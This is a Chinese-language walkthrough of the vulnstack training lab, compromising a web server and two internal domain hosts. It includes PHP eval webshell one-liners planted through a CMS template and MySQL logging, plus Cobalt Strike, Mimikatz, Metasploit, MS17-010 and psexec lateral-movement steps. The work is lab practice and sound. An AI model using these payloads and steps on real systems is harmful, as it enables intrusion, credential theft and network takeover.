环境搭建
环境下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
注:虚拟机所有统一密码:hongrisec@2019
新建一个网卡vmnetX(比如vmnet2),仅主机模式,ip网段是192.168.52.0/24
win7设置两个网卡,一个仅主机模式(vmnetX),另一个NAT或者桥接
win2003和2008都是(vmnetX)
环境连通性测试,win7 ping一下138和141,
靶机:
win7 外网ip:192.168.X.X(我这是232.129) 内网ip:192.168.52.143
win03 ip: 192.168.52.141
win08 ip: 192.168.52.138
进入win7的C盘的phpstudy,开启web服务即可
渗透
端口扫描
80端口访问是phpstudy的探针
接下来进行目录扫描
可以看到这里有备份文件,phpinfo和phpmyadmin
下载备份文件,解压后是一个yxcms的目录,里面robots.txt的内容如下
1 | # |
在目录data\db_back\1384692844\1384692844_part0.sql.php的文件,里面看着是sql备份文件
1 | <?php exit;?>DROP TABLE IF EXISTS yx_admin |
那个密码md5解密后是949ba59abbe56e05,感觉挺长的。。。,不知道对不对
使用这个登录好像不对,首页有个公告,这个就可以直接登录进去了
1 | 本站为YXcms的默认演示模板,YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。 |
根据备份文件,模板目录在yxcms\protected\apps\default\view\default
新建一句话木马模板,webshell连接(实际访问http://192.168.232.129/yxcms/protected/apps/default/view/default/
,发现还有列目录的漏洞)
数据库那个是root/root的弱密码,试试能不能直接写文件
1 | SELECT '<?php @eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/WWW/test.php' |
报错:
1 | #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement |
这个我们可以查询全家变量
1 | SHOW GLOBAL VARIABLES LIKE '%secure%' |
可以看到secure_file_priv
的值为NULL
,所以无法写入,而且是只读的,无法更改
另外可以尝试写日志
这里默认是关的,我们打开
1 | SET GLOBAL general_log = ON |
再执行Select '<?php @eval($_POST[666]);?>'
查询语句,接下来webshell连接即可
主机信息收集
执行虚拟终端,用户名是administrator,还有一个内网ip:192.168.52.143
系统及补丁信息(可以看到系统类型: x64-based PC)
1 | C:\phpStudy\WWW> systeminfo |
cs上线
运行Mimikatz即可获得密码
直接右键elevate提权
Cobalt Strike 中的
elevate
命令用于提升权限,其中svc-exe
是其中一种提权方法。svc-exe
提权方法的基本原理是利用 Windows 服务的一个特性:如果一个服务是以 SYSTEM 权限运行的,那么利用该服务启动的程序也将以 SYSTEM 权限运行。以下是svc-exe
提权的一般步骤和原理:
- 创建一个以 SYSTEM 权限启动的程序:这个程序的作用是连接指定的命名管道。
- 创建一个进程:该进程创建一个命名管道。
- 利用管道进行交互:让以 SYSTEM 权限启动的程序启动并连接这个命名管道。
- 利用
ImpersonateNamedPipeClient
函数:生成 SYSTEM 权限的 token。- 利用 SYSTEM 权限的 token 启动程序:例如启动 cmd.exe,从而获得一个 SYSTEM 权限的 shell。
在 Cobalt Strike 中使用
svc-exe
提权时,会在目标机上生成一个基于服务自启动的 exe 程序,该程序响应 Service Control Manager 命令。提权成功后,会通过 SYSTEM 权限回连指定的监听器,并在 Cobalt Strike 服务端新生成一个会话 。需要注意的是,
svc-exe
提权方法需要在已经获取的会话中执行,并且该会话需要有一定的权限来创建服务和写入文件。此外,这种方法可能需要目标系统上存在特定的服务配置或漏洞,以便成功执行提权操作。如果目标系统已经打过补丁或配置得当,这种方法可能不会成功。
ipconfig /all
可以看到域是god.org
net config workstation查看当前的计算机名,用户名,系统版本,域等信息
net view /domain 查看域的情况(有时候有多个域),只有一个GOD
cs域成员查询,并确认域控(PDC:主域控制器,运行 windows NT server 负责验证域登录和维护域目录数据库的计算机),不过cs的ip地址显示不正确的。
开3389
1 | 注册表开启3389端口 |
fscan内网扫描
详细扫描结果如下:
可以看到143是有MS17-010漏洞的,提权就可以用这个
1 | 192.168.52.138:80 open |
使用Ladon也行
1 | [08/26 14:15:03] [*] Ladon 192.168.52.1/24 OnlineIP |
OSScan功能能扫描到系统版本,还有是否虚拟机
1 | [08/26 14:20:16] [*] Tasked beacon to run .NET program: Ladon.exe 192.168.52.0/24 OSScan |
msf联动
新建一个windows/foreign/reverse_http的监听
msf输入
1 | use exploit/multi/handler |
cs新建会话,选择msf的监听器
添加路由
1 | meterpreter > run post/multi/manage/autoroute |
arp主机存活扫描
1 | msf6 exploit(multi/handler) > use post/windows/gather/arp_scanner |
udp主机存活扫描
1 | msf6 post(windows/gather/arp_scanner) > use auxiliary/scanner/discovery/udp_sweep |
使用msf开启代理
1 | use auxiliary/server/socks_proxy |
修改/etc/proxychains4.conf
1 | └─$ tail /etc/proxychains4.conf |
使用nmap扫描,另外的52.141就不贴了
1 | $ proxychains nmap -T4 -A -v -Pn 192.168.52.138 |
445端口开了可以尝试ms17-010永恒之蓝,当然也可以扫描一下
1 | msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/scanner/smb/smb_ms17_010 |
可以使用admin/smb/ms17_010_command
模块直接执行命令,永恒之蓝那个模块只支持64位版本系统
CS横向移动
52.141通过psexec获取
而 52.138通过psexec_psh获取到权限
参考
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
https://www.cnblogs.com/yokan/p/14021537.html
https://blog.csdn.net/weixin_39190897/article/details/118353886
https://www.cnblogs.com/1vxyz/p/17201316.html
https://xz.aliyun.com/t/14336
https://www.freebuf.com/column/231111.html